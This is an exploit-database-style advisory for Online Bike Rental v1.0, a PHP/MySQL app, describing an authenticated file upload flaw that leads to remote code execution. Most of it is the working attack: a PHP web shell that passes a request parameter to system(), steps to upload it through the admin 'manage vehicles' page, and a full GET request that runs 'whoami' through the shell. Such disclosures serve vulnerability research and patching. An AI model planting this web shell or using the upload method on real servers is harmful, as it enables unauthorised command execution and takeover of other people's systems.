# Exploit Title: Online Bike Rental v1.0 – (Authenticated) Arbitrary File Upload / Remote Code Execution # Date: July 31, 2020 # Exploit Author: Adeeb Shah (@hyd3sec) # Vendor Homepage: https:/www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14374/online-bike-rental-phpmysql.html # Version: 1.0 # Tested on: Windows 10 (x64_86) + XAMPP 7.4.4 Online Bike Rental has an authenticated (admin) arbitrary file upload vulnerability that allows for remote code execution. 1. Create a malicious PHP file with this content: <?php if(isset($_REQUEST[‘cmd’])){ echo “<pre>”; $cmd = ($_REQUEST[‘cmd’]); system($cmd); echo “</pre>”; die; } ?> 2. Authenticate as admin via admin portal; navigate to manage vehicles and upload malicious php. Navigate to uploaded file path to execute php code. GET /bikerental%20PHP/bikerental/admin/img/vehicleimages/backdoor.php?cmd=whoami HTTP/1.1 Host: 192.168.222.132 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: style=purple; PHPSESSID=2lpoqi5jmbeiabqemraesot9nh Upgrade-Insecure-Requests: 1